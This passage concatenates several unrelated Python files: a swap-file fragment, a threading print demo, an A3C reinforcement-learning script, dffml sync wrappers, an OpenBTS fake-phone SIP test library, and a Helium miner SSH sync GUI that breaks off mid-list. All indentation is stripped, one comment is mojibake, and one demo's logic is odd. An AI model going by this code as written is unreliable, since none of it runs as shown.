logger.info("Remove old swap file")
shellutil.run("swapoff -a", chk_err=False)
os.remove(swapfile)
if not os.path.isfile(swapfile):
logger.info("Create swap file")
shellutil.run(("dd if=/dev/zero of={0} bs=1024 "
"count={1}").format(swapfile, size_kb))
shellutil.run("mkswap {0}".format(swapfile))
if shellutil.run("swapon {0}".format(swapfile)):
raise ResourceDiskError("{0}".format(swapfile))
logger.info("Enabled {0}KB of swap at {1}".format(size_kb, swapfile))
|
ThreadSafePrint.py
|
# -*- coding:utf-8 -*-
from __future__ import print_function
import pprint
import argparse
import re
import sys
import os
import time
import threading
import re
#ๆ ็ผๅฒ่พๅบ๏ผ้ๅJenkins
buf_arg = 0
if sys.version_info[0] == 3:
os.environ['PYTHONUNBUFFERED'] = '1'
buf_arg = 1
sys.stdout = os.fdopen(sys.stdout.fileno(), 'a+', buf_arg)
sys.stderr = os.fdopen(sys.stderr.fileno(), 'a+', buf_arg)
Safeprint = lambda x: sys.stdout.write("%s\n" % x)
global readyForTask
readyForTask = False
def TimeCmp(lPara, rPara):
return int(time.strftime("%H%M", lPara)) - int(time.strftime("%H%M", rPara))
def Task(index,padding):
global readyForTask
while readyForTask == False:
readyForTask = True
Safeprint("thread " + str(index)+ " is running ============================================ \n")
time.sleep(10)
sys.exit(0)
Safeprint("thread " + str(index)+ " is over ============================================ \n")
Safeprint("thread " + str(index)+ " is exiting ============================================ \n")
time.sleep(20)
Safeprint("thread " + str(index)+ " is exited ============================================ \n")
if __name__ == '__main__':
threads = []
for index in range(1,5,1):
threadTask = threading.Thread(target=Task, args=(index, 1))
threads.append(threadTask)
for threadTask in threads:
threadTask.start()
for threadTask in threads:
threadTask.join()
print ("task done " + time.strftime("%H:%M:%S", time.localtime()))
|
a3c_continuous.py
|
"""
Asynchronous Advantage Actor Critic, A3C + RNN in continuous action space (https://arxiv.org/abs/1602.01783)
with Generalized Advantage Estimation, GAE (https://arxiv.org/abs/1506.02438)
Actor and Critic share similarities with the DDPG architecture (https://arxiv.org/abs/1509.02971)
Special thanks to the following GitHub users for their blogs & examples on A3C:
Morvan Zhou (morvanzhou), Arthur Juliani (awjuliani), Andrew Liou (andrewliao11), Jaromรญr (jaara),
Denny Britz (dennybritz), Corey Lynch (coreylynch), NVlabs, OpenAI
"""
import multiprocessing
import threading
import tensorflow as tf
import numpy as np
import gym
import os
import scipy.signal
from gym import wrappers
from datetime import datetime
OUTPUT_RESULTS_DIR = "./"
# ENVIRONMENT = 'Pendulum-v0' # Make sure to divide reward by 10
# ENVIRONMENT = 'MountainCarContinuous-v0'
ENVIRONMENT = 'LunarLanderContinuous-v2'
RENDER = False
RESTORE_DATE = None
if RESTORE_DATE is not None:
SUMMARY_DIR = os.path.join(OUTPUT_RESULTS_DIR, 'A3C', "gym", ENVIRONMENT, RESTORE_DATE)
else:
TIMESTAMP = datetime.now().strftime("%Y%m%d-%H%M%S")
SUMMARY_DIR = os.path.join(OUTPUT_RESULTS_DIR, "A3C", "gym", ENVIRONMENT, TIMESTAMP)
N_WORKERS = multiprocessing.cpu_count()
MAX_GLOBAL_EP = 10000 * N_WORKERS
GLOBAL_NET_SCOPE = 'Global_Net'
UPDATE_GLOBAL_ITER = 5
GAMMA = 0.99
LAMBDA = 1.0
ENTROPY_BETA = 0.0001
LR_A = 0.0001 # learning rate for actor
LR_C = 0.001 # learning rate for critic
GLOBAL_RUNNING_R = []
GLOBAL_EP = 0
env = gym.make(ENVIRONMENT)
N_S = env.observation_space.shape[0]
N_A = env.action_space.shape[0]
with tf.name_scope('env_bounds'):
S_UPPER = tf.Variable(env.observation_space.high, dtype=tf.float32, name="state_upper")
S_LOWER = tf.Variable(env.observation_space.low, dtype=tf.float32, name="state_lower")
A_UPPER = tf.Variable(env.action_space.high, dtype=tf.float32, name="action_upper")
A_LOWER = tf.Variable(env.action_space.low, dtype=tf.float32, name="action_lower")
class ACNet(object):
def __init__(self, scope, globalAC=None):
if scope == GLOBAL_NET_SCOPE: # get global network
with tf.variable_scope(scope):
self.s = tf.placeholder(tf.float32, [None, N_S], 'S')
self._build_net()
self.a_params = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=scope + '/actor')
self.c_params = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=scope + '/critic')
else: # local net, calculate losses
with tf.variable_scope(scope):
with tf.name_scope('input_norm'):
self.s = 2 * (tf.placeholder(tf.float32, [None, N_S], 'S') - S_LOWER) / (S_UPPER - S_LOWER) - 1
self.a_history = tf.placeholder(tf.float32, [None, N_A], 'A')
self.advantage = tf.placeholder(tf.float32, [None, 1], 'Advantage')
self.R_discounted = tf.placeholder(tf.float32, [None, 1], 'R_discounted')
mu, sigma, self.v = self._build_net()
with tf.name_scope('action_prep'):
with tf.name_scope('wrap_a_out'):
mu, sigma = mu * A_UPPER, sigma + 1e-4
normal_dist = tf.contrib.distributions.Normal(mu, sigma)
with tf.name_scope('choose_a'): # use local params to choose action
self.A = tf.clip_by_value(tf.squeeze(normal_dist.sample(1, seed=1234), axis=0),
A_LOWER, A_UPPER, name="a_chosen")
with tf.name_scope('loss'):
with tf.name_scope('a_loss'):
self.log_prob = normal_dist.log_prob(self.a_history)
self.entropy = tf.reduce_sum(normal_dist.entropy())
self.a_loss = -tf.reduce_sum(self.log_prob * self.advantage) - self.entropy * ENTROPY_BETA
with tf.name_scope('c_loss'):
self.c_loss = 0.5 * tf.reduce_sum(tf.square(self.R_discounted - self.v))
with tf.name_scope('local_grad'):
self.a_params = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=scope + '/actor')
self.c_params = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=scope + '/critic')
a_grads = tf.gradients(self.a_loss, self.a_params)
c_grads = tf.gradients(self.c_loss, self.c_params)
self.a_grads, _ = tf.clip_by_global_norm(a_grads, 40.0)
self.c_grads, _ = tf.clip_by_global_norm(c_grads, 40.0)
for grad, var in list(zip(self.a_grads, self.a_params)):
tf.summary.histogram(var.name + '/gradient', grad)
for grad, var in list(zip(self.c_grads, self.c_params)):
tf.summary.histogram(var.name + '/gradient', grad)
with tf.name_scope('sync'):
with tf.name_scope('pull'):
self.pull_a_params_op = [l_p.assign(g_p) for l_p, g_p in zip(self.a_params, globalAC.a_params)]
self.pull_c_params_op = [l_p.assign(g_p) for l_p, g_p in zip(self.c_params, globalAC.c_params)]
with tf.name_scope('push'):
self.update_a_op = OPT_A.apply_gradients(zip(self.a_grads, globalAC.a_params))
self.update_c_op = OPT_C.apply_gradients(zip(self.c_grads, globalAC.c_params))
tf.summary.scalar("Actor/Loss/" + scope, self.a_loss)
tf.summary.scalar("Actor/Advantage/" + scope, tf.reduce_sum(self.advantage))
tf.summary.scalar("Actor/Entropy/" + scope, tf.reduce_sum(self.entropy * ENTROPY_BETA))
tf.summary.scalar("Critic/Loss/" + scope, self.c_loss)
tf.summary.scalar("Critic/Value/" + scope, tf.reduce_sum(self.v))
tf.summary.scalar("Critic/Discounted_Reward/" + scope, tf.reduce_sum(self.R_discounted))
summary_list = [s for s in tf.get_collection(tf.GraphKeys.SUMMARIES) if scope in s.name]
self.summarise = tf.summary.merge(summary_list)
def _build_net(self ):
# w_init = tf.random_normal_initializer(0., .1)
w_init = tf.contrib.layers.variance_scaling_initializer()
w_init_final = tf.random_uniform_initializer(minval=-0.003, maxval=0.003)
w_reg = tf.contrib.layers.l2_regularizer(0.01)
with tf.variable_scope('actor'):
l_a = tf.layers.dense(self.s, 200, tf.nn.relu6, kernel_initializer=w_init, kernel_regularizer=w_reg, name='la')
mu = tf.layers.dense(l_a, N_A, tf.nn.tanh, kernel_initializer=w_init_final, kernel_regularizer=w_reg, name='mu')
sigma = tf.layers.dense(l_a, N_A, tf.nn.softplus, kernel_initializer=w_init, kernel_regularizer=w_reg, name='sigma')
with tf.variable_scope('critic'):
l_c = tf.layers.dense(self.s, 100, tf.nn.relu6, kernel_initializer=w_init, kernel_regularizer=w_reg, name='lc')
v = tf.layers.dense(l_c, 1, kernel_initializer=w_init, kernel_regularizer=w_reg, name='v') # state value
return mu, sigma, v
def update_global(self, feed_dict):
return SESS.run([self.update_a_op, self.update_c_op, self.summarise], feed_dict)[2]
def pull_global(self): # run by a local
SESS.run([self.pull_a_params_op, self.pull_c_params_op])
def eval_state(self, s):
a, v, = SESS.run([self.A, self.v], {self.s: s[np.newaxis, :]})
return a[0], v[0][0]
def get_value(self, s):
return SESS.run(self.v, {self.s: s[np.newaxis, :]})[0]
def add_histogram(writer, tag, values, step, bins=1000):
"""
Logs the histogram of a list/vector of values.
From: https://gist.github.com/gyglim/1f8dfb1b5c82627ae3efcfbbadb9f514
"""
# Create histogram using numpy
counts, bin_edges = np.histogram(values, bins=bins)
# Fill fields of histogram proto
hist = tf.HistogramProto()
hist.min = float(np.min(values))
hist.max = float(np.max(values))
hist.num = int(np.prod(values.shape))
hist.sum = float(np.sum(values))
hist.sum_squares = float(np.sum(values ** 2))
# Requires equal number as bins, where the first goes from -DBL_MAX to bin_edges[1]
# See https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/framework/summary.proto#L30
# Thus, we drop the start of the first bin
bin_edges = bin_edges[1:]
# Add bin edges and counts
for edge in bin_edges:
hist.bucket_limit.append(edge)
for c in counts:
hist.bucket.append(c)
# Create and write Summary
summary = tf.Summary(value=[tf.Summary.Value(tag=tag, histo=hist)])
writer.add_summary(summary, step)
class Worker(object):
def __init__(self, name, globalAC):
self.env = gym.make(ENVIRONMENT)
self.name = name
self.AC = ACNet(name, globalAC)
self.ep_count = 0
if self.name == 'Worker_0':
self.env = wrappers.Monitor(self.env, os.path.join(SUMMARY_DIR, ENVIRONMENT+'_'+self.name))
@staticmethod
def discount(x, gamma):
return scipy.signal.lfilter([1], [1, -gamma], x[::-1], axis=0)[::-1]
def work(self):
global GLOBAL_RUNNING_R, GLOBAL_EP
buffer_s, buffer_a, buffer_r, buffer_v = [], [], [], []
while not COORD.should_stop() and GLOBAL_EP < MAX_GLOBAL_EP:
s = self.env.reset()
ep_r, ep_t = 0, 0
ep_a, ep_v = [], []
while True:
if (self.name == 'Worker_1' or N_WORKERS == 1) and RENDER:
self.env.render()
a, v = self.AC.eval_state(s)
s2, r, terminal, info = self.env.step(a)
ep_r += r
ep_t += 1
buffer_s.append(s)
buffer_a.append(a)
buffer_r.append(r/10)
buffer_v.append(v)
ep_a.append(a)
ep_v.append(v)
if ep_t % UPDATE_GLOBAL_ITER == 0 or terminal: # update global and assign to local net
if terminal:
v_next = 0 # terminal
else:
v_next = self.AC.get_value(s2)[0]
# Generalized Advantage Estimation - https://arxiv.org/abs/1506.02438
rewards = np.array(buffer_r)
discounted_rewards = self.discount(np.append(rewards, v_next), GAMMA)[:-1]
values = np.array(buffer_v + [v_next])
advantages = self.discount(rewards + GAMMA * values[1:] - values[:-1], GAMMA * LAMBDA)
feed_dict = {
self.AC.s: np.asarray(buffer_s),
self.AC.a_history: np.asarray(buffer_a),
self.AC.advantage: np.vstack(advantages),
self.AC.R_discounted: np.vstack(discounted_rewards)
}
graph_summary = self.AC.update_global(feed_dict)
buffer_s, buffer_a, buffer_r, buffer_v = [], [], [], []
self.AC.pull_global()
s = s2
if terminal:
print(self.name, "| Local Ep:", self.ep_count,
"| Global Ep:", GLOBAL_EP,
"| Reward: %.2f" % ep_r,
"| Reward/step: %.3f" % (ep_r / ep_t),
"| Steps:", ep_t)
# Add summaries for TensorBoard
if self.name == 'Worker_0' and self.ep_count % 5 == 0:
worker_summary = tf.Summary()
worker_summary.value.add(tag="Reward/" + self.name, simple_value=ep_r)
add_histogram(WRITER, "Critic/Value/" + self.name, np.ravel(ep_v), self.ep_count)
# Create Action histograms for each dimension
actions = np.array(ep_a)
for a in range(N_A):
add_histogram(WRITER, "Action/Dim" + str(a) + "/" + self.name, actions[:, a], self.ep_count)
WRITER.add_summary(worker_summary, self.ep_count)
WRITER.add_summary(graph_summary, self.ep_count)
WRITER.flush()
GLOBAL_EP += 1
self.ep_count += 1
break
if __name__ == "__main__":
SESS = tf.Session()
with tf.device("/cpu:0"):
# OPT_A = tf.train.RMSPropOptimizer(LR_A, decay=0.99, name='RMSPropA')
# OPT_C = tf.train.RMSPropOptimizer(LR_C, decay=0.99, name='RMSPropC')
OPT_A = tf.train.AdamOptimizer(LR_A, name='AdamA')
OPT_C = tf.train.AdamOptimizer(LR_C, name='AdamC')
GLOBAL_AC = ACNet(GLOBAL_NET_SCOPE) # we only need its params
workers = []
# Create workers
for i in range(N_WORKERS):
i_name = 'Worker_%i' % i # worker name
workers.append(Worker(i_name, GLOBAL_AC))
COORD = tf.train.Coordinator()
SESS.run(tf.global_variables_initializer())
WRITER = tf.summary.FileWriter(SUMMARY_DIR, SESS.graph)
worker_threads = []
for worker in workers:
job = lambda: worker.work()
t = threading.Thread(target=job)
t.start()
worker_threads.append(t)
COORD.join(worker_threads)
|
noasync.py
|
import asyncio
from . import high_level
def train(*args, **kwargs):
return asyncio.run(high_level.train(*args, **kwargs))
train.__doc__ = (
high_level.train.__doc__.replace("await ", "")
.replace("async ", "")
.replace("asyncio.run(main())", "main()")
.replace(" >>> import asyncio\n", "")
.replace(
" >>> from dffml import *\n",
" >>> from dffml import *\n >>> from dffml.noasync import *\n",
)
)
def accuracy(*args, **kwargs):
return asyncio.run(high_level.accuracy(*args, **kwargs))
accuracy.__doc__ = (
high_level.accuracy.__doc__.replace("await ", "")
.replace("async ", "")
.replace("asyncio.run(main())", "main()")
.replace(" >>> import asyncio\n", "")
.replace(
" >>> from dffml import *\n",
" >>> from dffml import *\n >>> from dffml.noasync import *\n",
)
)
def predict(*args, **kwargs):
async_gen = high_level.predict(*args, **kwargs).__aiter__()
loop = asyncio.new_event_loop()
def cleanup():
loop.run_until_complete(loop.shutdown_asyncgens())
loop.close()
while True:
try:
yield loop.run_until_complete(async_gen.__anext__())
except StopAsyncIteration:
cleanup()
return
except:
cleanup()
raise
predict.__doc__ = (
high_level.predict.__doc__.replace("await ", "")
.replace("asynciterator", "iterator")
.replace("async ", "")
.replace("asyncio.run(main())", "main()")
.replace(" >>> import asyncio\n", "")
.replace(
" >>> from dffml import *\n",
" >>> from dffml import *\n >>> from dffml.noasync import *\n",
)
)
def save(*args, **kwargs):
return asyncio.run(high_level.save(*args, **kwargs))
save.__doc__ = (
high_level.save.__doc__.replace("await ", "")
.replace("async ", "")
.replace("asyncio.run(main())", "main()")
.replace(" >>> import asyncio\n", "")
.replace(
" >>> from dffml import *\n",
" >>> from dffml import *\n >>> from dffml.noasync import *\n",
)
)
def load(*args, **kwargs):
async_gen = high_level.load(*args, **kwargs).__aiter__()
loop = asyncio.new_event_loop()
def cleanup():
loop.run_until_complete(loop.shutdown_asyncgens())
loop.close()
while True:
try:
yield loop.run_until_complete(async_gen.__anext__())
except StopAsyncIteration:
cleanup()
return
except:
cleanup()
raise
load.__doc__ = (
high_level.load.__doc__.replace("await ", "")
.replace("async ", "")
.replace("asyncio.run(main())", "main()")
.replace(" >>> import asyncio\n", "")
.replace(
" >>> from dffml import *\n",
" >>> from dffml import *\n >>> from dffml.noasync import *\n",
)
)
def run(*args, **kwargs):
"""
>>> # Socket server derived from
>>> # https://docs.python.org/3/library/socketserver.html#asynchronous-mixins
>>> import socket
>>> import threading
>>> import socketserver
>>>
>>> from dffml.noasync import run
>>> from dffml import DataFlow, Input, op
>>>
>>> class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler):
... def handle(self):
... data = str(self.request.recv(1024), "ascii")
... response = bytes("{}".format(data), "ascii")
... self.request.sendall(response)
>>>
>>> class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
... pass
>>>
>>> @op
... def client(ip: str, port: int, message: str):
... with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
... sock.connect((ip, port))
... sock.sendall(bytes(message, "ascii"))
... response = str(sock.recv(1024), "ascii")
... print("Received: {}".format(response))
>>>
>>> dataflow = DataFlow.auto(client)
>>>
>>> messages = [
... Input(value="Hello World!", definition=client.op.inputs["message"])
... for _ in range(0, 2)
... ]
>>>
>>> def main():
... # Port 0 means to select an arbitrary unused port
... HOST, PORT = "localhost", 0
...
... server = ThreadedTCPServer((HOST, PORT), ThreadedTCPRequestHandler)
... with server:
... ip, port = server.server_address
...
... # Start a thread with the server -- that thread will then start one
... # more thread for each request
... server_thread = threading.Thread(target=server.serve_forever)
... # Exit the server thread when the main thread terminates
... server_thread.daemon = True
... server_thread.start()
... print("Server loop running in a thread")
...
... inputs = messages + [
... Input(value=ip, definition=client.op.inputs["ip"]),
... Input(value=port, definition=client.op.inputs["port"]),
... ]
...
... try:
... for ctx, results in run(dataflow, inputs):
... pass
... finally:
... server.shutdown()
>>>
>>> main()
Server loop running in a thread
Received: Hello World!
Received: Hello World!
"""
async_gen = high_level.run(*args, **kwargs).__aiter__()
loop = asyncio.new_event_loop()
def cleanup():
loop.run_until_complete(loop.shutdown_asyncgens())
loop.close()
while True:
try:
yield loop.run_until_complete(async_gen.__anext__())
except StopAsyncIteration:
cleanup()
return
except:
cleanup()
raise
|
_openbts.py
|
"""A library for simulating a user's phone.
Copyright (c) 2016-present, Facebook, Inc.
All rights reserved.
This source code is licensed under the BSD-style license found in the
LICENSE file in the root directory of this source tree. An additional grant
of patent rights can be found in the PATENTS file in the same directory.
"""
import random
import string
from threading import Thread
#sms imports
import sms_utilities
from smspdu import SMS_DELIVER
from twisted.internet import reactor
from twisted.protocols import sip
from twisted.internet.protocol import ServerFactory
from twisted.protocols.sip import Request
#fs call imports
from ESL import ESLconnection
from core.config_database import ConfigDB
from .base import BaseFakePhone
SIP_PORT = 5060
SIP_REG_PORT = 5064
def genTag(length):
return ''.join(random.choice(string.ascii_lowercase + string.digits)
for _ in range(length))
def genCallId():
return (genTag(8) + "-" + genTag(4) + "-" + genTag(4) + "-" + genTag(4) +
"-" + genTag(12))
class SipProxy(sip.Proxy):
def __init__(self, user, port, call_handler, sms_handler,
self_ip, other_ip):
self.port = port
self.self_ip = self_ip
self.other_ip = other_ip
self.user = user
self.call_h = call_handler
self.sms_h = sms_handler
sip.Proxy.__init__(self, host=self.self_ip, port=port)
def handle_response(self, message, addr):
if message.code == 401:
print("REGISTER REJECTED, DISABLE AUTH IN SIPAUTH")
print("INSERT INTO \"CONFIG\" VALUES('SubscriberRegistry"
".IgnoreAuthentication','1',0,1,'Disable Auth');")
else:
print("RESPONSE: " + str(message.code))
def handle_request(self, message, addr):
to = message.uri.username
fromm = sip.parseAddress(message.headers['from'][0])[1].username
if message.method == 'MESSAGE':
rpdu = sms_utilities.rpdu.RPDU.fromPDU(message.body)
sms_deliver = SMS_DELIVER.fromPDU(rpdu.user_data,
rpdu.rp_originator_address)
self.sms_h(to, fromm, sms_deliver.user_data)
r = self.responseFromRequest(200, message)
elif message.method == 'ACK':
r = self.responseFromRequest(200, message)
elif message.method == 'INVITE':
self.call_h(to, fromm)
# We don't know how to actually handle calls.
r = self.responseFromRequest(487, message)
else:
raise Exception("Received unhandled request")
self.deliverResponse(r)
def startProtocol(self):
"""On startup, send a REGISTER message to sipauthserve.
Explicitly use less fields than OpenBTS: want to enforce the right to:
field.
"""
r = Request("REGISTER", "sip:%s@%s:%s" %
(self.user, self.other_ip, SIP_REG_PORT))
r.addHeader("Via", "SIP/2.0/UDP %s:%s;branch=%s;received=%s;rport=%s" %
(self.self_ip, self.port, genTag(22), self.self_ip,
self.port))
r.addHeader("From", "<sip:%s@%s:%s>;tag=%s" %
(self.user, self.self_ip, self.port, genTag(13)))
r.addHeader("To", "<sip:%s@%s:%s>" % (self.user, self.other_ip,
self.port))
r.addHeader("Contact", "<sip:%s:%s>" % (self.self_ip, self.port))
r.addHeader("User-Agent", "Endaga-test")
self.sendMessage(sip.URL(host=self.other_ip, port=SIP_REG_PORT), r)
def sendSMS(self, dest, content):
content = sms_utilities.SMS_Submit.gen_msg(str(dest), content, False)
r = Request("MESSAGE", "sip:smsc@%s:%s" % (self.other_ip, SIP_PORT))
r.addHeader("Via", "SIP/2.0/UDP %s:%s;branch=%s;received=%s;rport=%s" %
(self.self_ip, self.port, genTag(22), self.self_ip,
self.port))
r.addHeader("Max-Forwards", "70")
r.addHeader("From", "<sip:%s@%s:%s>;tag=%s" %
(self.user, self.self_ip, self.port, genTag(13)))
r.addHeader("To", "<sip:smsc@%s:%s>" % (self.other_ip, self.port))
r.addHeader("Call-ID", genCallId())
r.addHeader("CSeq", "1 MESSAGE")
r.addHeader("Contact", "<sip:%s:%s>" % (self.self_ip, SIP_PORT))
r.addHeader("User-Agent", "Endaga-test")
r.addHeader("Content-Type", "application/vnd.3gpp.sms")
r.addHeader("Content-Length", str(len(content)))
r.body = content
self.sendMessage(sip.URL(host=self.other_ip, port=SIP_PORT), r)
class sipfactory(ServerFactory):
protocol = SipProxy
class OpenBTSFakePhone(BaseFakePhone):
reactorRunning = False
def __init__(self, user, port, call_handler, sms_handler,
self_ip="127.0.0.1", other_ip="127.0.0.1"):
BaseFakePhone.__init__(self, user, port, call_handler, sms_handler,
self_ip=self_ip, other_ip=other_ip)
self.user = user
self.conf = ConfigDB()
self.port = port
self.sms_h = sms_handler
self.call_h = call_handler
self.self_ip = self_ip
self.other_ip = other_ip
def start(self):
self.proxy = SipProxy(self.user, self.port, self.call_h, self.sms_h,
self.self_ip, self.other_ip)
reactor.listenUDP(self.port, self.proxy, self.self_ip)
if not OpenBTSFakePhone.reactorRunning:
OpenBTSFakePhone.reactorRunning = True
Thread(target=reactor.run, args=(False,)).start()
def stop(self):
if OpenBTSFakePhone.reactorRunning:
OpenBTSFakePhone.reactorRunning = False
reactor.callFromThread(reactor.stop)
def sendSMS(self, destination, content):
reactor.callFromThread(self.proxy.sendSMS, destination, content)
def makeCall(self, destination):
con = ESLconnection(self.conf['fs_esl_ip'], self.conf['fs_esl_port'],
self.conf['fs_esl_pass'])
if con.connected():
con.api(str("originate {origination_call_id_name=%s,origination"
"_caller_id_number=%s}sofia/internal/%s@%s:"
"5060 &echo" % (self.user, self.user, destination,
self.other_ip)))
else:
raise Exception("ESL Connection Failed")
|
fast_sync_GUI.py
|
#!/usr/bin/env python3
from email.mime import image
import tkinter as tk
from tkinter import ttk
from tkinter import messagebox
import tkinter.font as tkFont
from PIL import Image, ImageTk
import threading
import ipaddress
import socket
import os, sys
import ssh_comms
class heliumUpdateGUI(tk.Tk):
colors = {
'light gray' : '#d4d6d9',
'black' : '#1a1a1a',
'dark gray' : '#262626',
'white' : '#edeff2',
'highlight' : '#ddeaed',
'graph' : '#175dcf',
'but' : '#e6e6e6'
}
def __init__(self):
super().__init__()
self.title('Milesight Fast Sync Tool')
self.iconbitmap(default='assets/helium.ico')
self.optionspath = 'config/options.config'
self.savepath = 'log.txt'
self.WIDTH = 900
self.HEIGHT = 500
self.s = ssh_comms.ssh_comms()
self.gui()
#*************************** DRAW GUI *********************************
def gui(self):
self.font = {
'bold' : tkFont.Font(family='Open Sans', size=11, weight='bold'),
'bold big' : tkFont.Font(family='Open Sans', size=15, weight='bold'),
'cmd txt' : tkFont.Font(family='Consolas', size=13, weight='normal')
}
canvas = tk.Canvas(self, width=self.WIDTH, height=self.HEIGHT, bg=self.colors['light gray'])
canvas.pack(fill='both', expand=True)
self.fbdata = tk.Text(canvas, bg=self.colors['white'], font=self.font['cmd txt'], relief='groove')
self.fbdata.insert('end', ' Version: 1.3 | Built 13.02.22\n\n')
self.fbdata.configure(state='disabled')
self.fbdata.place(anchor='n', relx=0.5, rely=0.07, relwidth=0.98, relheight=0.84)
self.scrollb = ttk.Scrollbar(self.fbdata, command=self.fbdata.yview)
self.scrollb.place(relx=0.98, rely=0, relheight=1, relwidth=0.02)
self.fbdata['yscrollcommand'] = self.scrollb.set
self.update_but = tk.Button(canvas, text='1. Fast Sync', font=self.font['bold'], bg=self.colors['but'], fg=self.colors['black'],
relief='groove', activebackground=self.colors['light gray'], command=self.update_but_func)
self.update_but.bind('<Enter>', lambda event, x=self.update_but:self.on_hover(x))
self.update_but.bind('<Leave>', lambda event, x=self.update_but, y=self.colors['but']:self.on_hover_leave(x, y))
self.update_but.place(anchor='n', relx=0.14, rely=0.92, relwidth=0.17, relheight=0.07)
self.quagga_but = tk.Button(canvas, text='2. Quagga Restart', font=self.font['bold'], bg=self.colors['but'], fg=self.colors['black'],
relief='groove', activebackground=self.colors['light gray'], command=self.quagga_but_func)
self.quagga_but.bind('<Enter>', lambda event, x=self.quagga_but:self.on_hover(x))
self.quagga_but.bind('<Leave>', lambda event, x=self.quagga_but, y=self.colors['but']:self.on_hover_leave(x, y))
self.quagga_but.place(anchor='n', relx=0.32, rely=0.92, relwidth=0.17, relheight=0.07)
self.status_but = tk.Button(canvas, text='3. Status', font=self.font['bold'], bg=self.colors['but'], fg=self.colors['black'],
relief='groove', activebackground=self.colors['light gray'], command=self.status_but_func)
self.status_but.bind('<Enter>', lambda event, x=self.status_but:self.on_hover(x))
self.status_but.bind('<Leave>', lambda event, x=self.status_but, y=self.colors['but']:self.on_hover_leave(x, y))
self.status_but.place(anchor='n', relx=0.5, rely=0.92, relwidth=0.17, relheight=0.07)
self.status_but = tk.Button(canvas, text='4. Miner Info', font=self.font['bold'], bg=self.colors['but'], fg=self.colors['black'],
relief='groove', activebackground=self.colors['light gray'], command=self.miner_info_func)
self.status_but.bind('<Enter>', lambda event, x=self.status_but:self.on_hover(x))
self.status_but.bind('<Leave>', lambda event, x=self.status_but, y=self.colors['but']:self.on_hover_leave(x, y))
self.status_but.place(anchor='n', relx=0.68, rely=0.92, relwidth=0.17, relheight=0.07)
self.status_but = tk.Button(canvas, text='5. Peer Book', font=self.font['bold'], bg=self.colors['but'], fg=self.colors['black'],
relief='groove', activebackground=self.colors['light gray'], command=self.run_peer_book_func)
self.status_but.bind('<Enter>', lambda event, x=self.status_but:self.on_hover(x))
self.status_but.bind('<Leave>', lambda event, x=self.status_but, y=self.colors['but']:self.on_hover_leave(x, y))
self.status_but.place(anchor='n', relx=0.86, rely=0.92, relwidth=0.17, relheight=0.07)
iplb = tk.Label(canvas, text='IP :', font=self.font['bold'], bg=self.colors['light gray'])
iplb.place(anchor='n', relx=0.03, rely=0.005, relwidth=0.03, relheight=0.06)
init_ip = '192.168.1.X'
self.ipEntry = tk.Entry(canvas, font=self.font['bold'], justify='center', bg=self.colors['white'])
self.ipEntry.insert('end', init_ip)
self.ipEntry.place(anchor='n', relx=0.12, rely=0.012, relwidth=0.13, relheight=0.05)
separator = ttk.Separator(canvas, orient='vertical')
separator.place(relx=0.2, rely=0.003, relwidth=0.001, relheight=0.06)
portlb = tk.Label(canvas, text='SSH port :', font=self.font['bold'], bg=self.colors['light gray'])
portlb.place(anchor='n', relx=0.255, rely=0.005, relwidth=0.08, relheight=0.06)
init_port = '22'
self.portEntry = tk.Entry(canvas, font=self.font['bold'], justify='center', bg=self.colors['white'])
self.portEntry.insert('end', init_port)
self.portEntry.place(anchor='n', relx=0.345, rely=0.012, relwidth=0.07, relheight=0.05)
# add logo img
logo = Image.open('assets/invibit.png')
logo = logo.resize((82, 30), Image.ANTIALIAS)
logo = ImageTk.PhotoImage(logo)
logolb = tk.Label(canvas, image=logo, bg=self.colors['light gray'])
logolb.image = logo
logolb.place(anchor='n', relx=0.77, rely=0.004, relwidth=0.11, relheight=0.058)
separator2 = ttk.Separator(canvas, orient='vertical')
separator2.place(relx=0.83, rely=0.003, relwidth=0.001, relheight=0.06)
mlogo = Image.open('assets/milesight.png')
mlogo = mlogo.resize((130, 95), Image.ANTIALIAS)
mlogo = ImageTk.PhotoImage(mlogo)
mlogolb = tk.Label(canvas, image=mlogo, bg=self.colors['light gray'])
mlogolb.image = mlogo
mlogolb.place(anchor='n', relx=0.9, rely=0.004, relwidth=0.13, relheight=0.065)
#*************************** DRAW GUI **********************************
#*************************** BUTTON FUNCTIONS ***************************
def update_but_func(self):
if not self.s.is_alive():
if self.conn_sequence() == None:
return
self.tmpthread = threading.Thread(target=self.run_sync_commands)
self.tmpthread.daemon = True
self.tmpthread.start()
else:
self.throw_custom_error(title='Error', message='Another function already in progress. Please be patient.')
def quagga_but_func(self):
if not self.s.is_alive():
if self.conn_sequence() == None:
return
self.tmpthread = threading.Thread(target=self.run_quagga_cmd)
self.tmpthread.daemon = True
self.tmpthread.start()
else:
self.throw_custom_error(title='Error', message='Another function already in progress. Please be patient.')
def status_but_func(self):
if not self.s.is_alive():
if self.conn_sequence() == None:
return
self.tmpthread = threading.Thread(target=self.run_status_cmd)
self.tmpthread.daemon = True
self.tmpthread.start()
else:
self.throw_custom_error(title='Error', message='Another function already in progress. Please be patient.')
def miner_info_func(self):
if not self.s.is_alive():
if self.conn_sequence() == None:
return
self.tmpthread = threading.Thread(target=self.run_miner_info_cmd)
self.tmpthread.daemon = True
self.tmpthread.start()
else:
self.throw_custom_error(title='Error', message='Another function already in progress. Please be patient.')
def run_peer_book_func(self):
if not self.s.is_alive():
if self.conn_sequence() == None:
return
self.tmpthread = threading.Thread(target=self.run_peer_book_cmd)
self.tmpthread.daemon = True
self.tmpthread.start()
else:
self.throw_custom_error(title='Error', message='Another function already in progress. Please be patient.')
# button highlighting on hover
def on_hover(self, button, color=colors['highlight']):
button.configure(bg=color)
def on_hover_leave(self, button, color):
button.configure(bg=color)
#*************************** BUTTON FUNCTIONS ***************************
def run_sync_commands(self):
self.update_fbdata('Syncing . . . This might take a minute . . .\n')
self.log = ''
height = '** ERROR WHILE EXECUTING CURL CMD **'
cmds = ['docker exec miner miner repair sync_pause',
'docker exec miner miner repair sync_cancel',
'curl http://snapshots-wtf.sensecapmx.cloud/latest-snap.json',
'cd /mnt/mmcblk0p1/miner_data/snap && rm snap-*',
